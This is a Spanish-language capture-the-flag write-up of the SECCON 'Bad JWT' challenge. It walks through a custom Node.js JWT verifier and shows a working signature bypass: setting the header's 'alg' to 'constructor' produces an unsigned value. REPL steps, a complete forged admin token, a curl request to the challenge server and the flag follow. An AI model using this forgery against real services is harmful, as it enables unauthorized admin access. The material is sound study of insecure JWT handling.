Bad JWT
5 minutos de lectura
Se nos proporciona el código fuente de un proyecto de Node.js. Este es index.js
:
const FLAG = process.env.FLAG ?? 'SECCON{dummy}';
const PORT = '3000';;
const express = require('express');
const cookieParser = require('cookie-parser');
const jwt = require('./jwt');
const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
const secret = require('crypto').randomBytes(32).toString('hex');
app.use((req, res, next) => {
try {
const token = req.cookies.session;
const payload = jwt.verify(token, secret);
req.session = payload;
} catch (e) {
return res.status(400).send('Authentication failed');
}
return next();
})
app.get('/', (req, res) => {
if (req.session.isAdmin === true) {
return res.send(FLAG);
} else {
return res.status().send('You are not admin!');
}
});
app.listen(PORT, () => {
const admin_session = jwt.sign('HS512', { isAdmin: true }, secret);
console.log(`[INFO] Use ${admin_session} as session cookie`);
console.log(`Challenge server listening on port ${PORT}`);
});
Y este es jwt.js
:
const crypto = require('crypto');
const base64UrlEncode = (str) => {
return Buffer.from(str)
.toString('base64')
.replace(/=*$/g, '')
.replace(/\+/g, '-')
.replace(/\//g, '_');
}
const base64UrlDecode = (str) => {
return Buffer.from(str, 'base64').toString();
}
const algorithms = {
hs256: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
hs512: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}
const stringifyPart = (obj) => {
return base64UrlEncode(JSON.stringify(obj));
}
const parsePart = (str) => {
return JSON.parse(base64UrlDecode(str));
}
const createSignature = (header, payload, secret) => {
const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
const signature = algorithms[header.alg.toLowerCase()](data, secret);
return signature;
}
const parseToken = (token) => {
const parts = token.split('.');
if (parts.length !== 3) throw Error('Invalid JWT format');
const [ header, payload, signature ] = parts;
const parsedHeader = parsePart(header);
const parsedPayload = parsePart(payload);
return { header: parsedHeader, payload: parsedPayload, signature }
}
const sign = (alg, payload, secret) => {
const header = {
typ: 'JWT',
alg: alg
}
const signature = createSignature(header, payload, secret);
const token = `${stringifyPart(header)}.${stringifyPart(payload)}.${signature}`;
return token;
}
const verify = (token, secret) => {
const { header, payload, signature: expected_signature } = parseToken(token);
const calculated_signature = createSignature(header, payload, secret);
const calculated_buf = Buffer.from(calculated_signature, 'base64');
const expected_buf = Buffer.from(expected_signature, 'base64');
if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
throw Error('Invalid signature');
}
return payload;
}
module.exports = { sign, verify }
Análisis del código fuente
Del archivo index.js
, vemos que necesitamos tener req.session.isAdmin === true
para conseguir la flag:
app.get('/', (req, res) => {
if (req.session.isAdmin === true) {
return res.send(FLAG);
} else {
return res.status().send('You are not admin!');
}
});
Y el objeto req.session
viene de un token JWT dentro de una cookie, que es verificada por el servidor:
app.use((req, res, next) => {
try {
const token = req.cookies.session;
const payload = jwt.verify(token, secret);
req.session = payload;
} catch (e) {
return res.status(400).send('Authentication failed');
}
return next();
})
Esta es la función jwt.verify
:
const verify = (token, secret) => {
const { header, payload, signature: expected_signature } = parseToken(token);
const calculated_signature = createSignature(header, payload, secret);
const calculated_buf = Buffer.from(calculated_signature, 'base64');
const expected_buf = Buffer.from(expected_signature, 'base64');
if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
throw Error('Invalid signature');
}
return payload;
}
Lo que hace es tomar las partes del token JWT (header
, payload
, signature
) y luego usa el los valores proporcionados de header
y payload
para calcular una nueva firma utilizando el secret
del servidor. Si ambas firmas coinciden en Buffer.compare
, la firma se trata como válida.
Esta es createSignature
:
const algorithms = {
hs256: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
hs512: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}
// ...
const createSignature = (header, payload, secret) => {
const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
const signature = algorithms[header.alg.toLowerCase()](data, secret);
return signature;
}
Aquí tenemos algo interesante, ya que el algoritmo de firma se toma de header.alg.toLowerCase()
.
Solution
Controlamos este parámetro y, por lo tanto, podemos ingresar algo diferente de 'hs256'
o 'hs512'
como está previsto. Por ejemplo, dado que estamos llamando a un atributo de un objeto, podemos ingresar 'constructor'
(esto es parecido a un ataque de Prototype Pollution):
$ node
Welcome to Node.js v20.8.1.
Type ".help" for more information.
> const crypto = require('crypto');
undefined
>
> const base64UrlEncode = (str) => {
... return Buffer.from(str)
... .toString('base64')
... .replace(/=*$/g, '')
... .replace(/\+/g, '-')
... .replace(/\//g, '_');
... }
undefined
> const algorithms = {
... hs256: (data, secret) =>
... base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
... hs512: (data, secret) =>
... base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
... }
undefined
>
> const stringifyPart = (obj) => {
... return base64UrlEncode(JSON.stringify(obj));
... }
undefined
> const createSignature = (header, payload, secret) => {
... const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
... const signature = algorithms[header.alg.toLowerCase()](data, secret);
... return signature;
... }
undefined
> const secret = require('crypto').randomBytes(32).toString('hex');
undefined
> createSignature({ alg: 'hs256' }, { isAdmin: true }, secret)
'LNBaw1lmC_QGltCbDRDwQXkr3A_K-Y4m8lUBhKhZKXU'
> createSignature({ alg: 'constructor' }, { isAdmin: true }, secret)
[String: 'eyJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ']
¿Ves las diferencias? El segundo solo genera la string <header>.<payload>
del token JWT, sin firmar en absoluto. Esto sucede porque estamos ejecutando constructor(data, secret)
, que es solo la cadena data
.
Y hay otro problema en Buffer.from(calculated_signature, 'base64')
:
> const calculated_signature = createSignature({ alg: 'constructor' }, { isAdmin: true }, secret);
undefined
> calculated_signature
[String: 'eyJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ']
> const calculated_buf = Buffer.from(calculated_signature, 'base64');
undefined
> calculated_buf
<Buffer 7b 22 61 6c 67 22 3a 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 7d 7b 22 69 73 41 64 6d 69 6e 22 3a 74 72 75 65 7d>
> calculated_buf.toString()
'{"alg":"constructor"}{"isAdmin":true}'
Como se puede ver, la parte de [String:
se omite, al igual que .
, '
y ]
, que no son una caracteres válidos en Base64. Como resultado, solo necesitamos codificar la cadena anterior en Base64:
> base64UrlEncode(calculated_buf.toString())
'eyJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ'
Esta será la parte de la firma. Y el token JWT completo es solamente:
eyJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ
Flag
Si usamos este token JWT como cookie session
, obtendremos la flag:
$ curl bad-jwt.seccon.games:3000 -b 'session=eyJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ'
SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}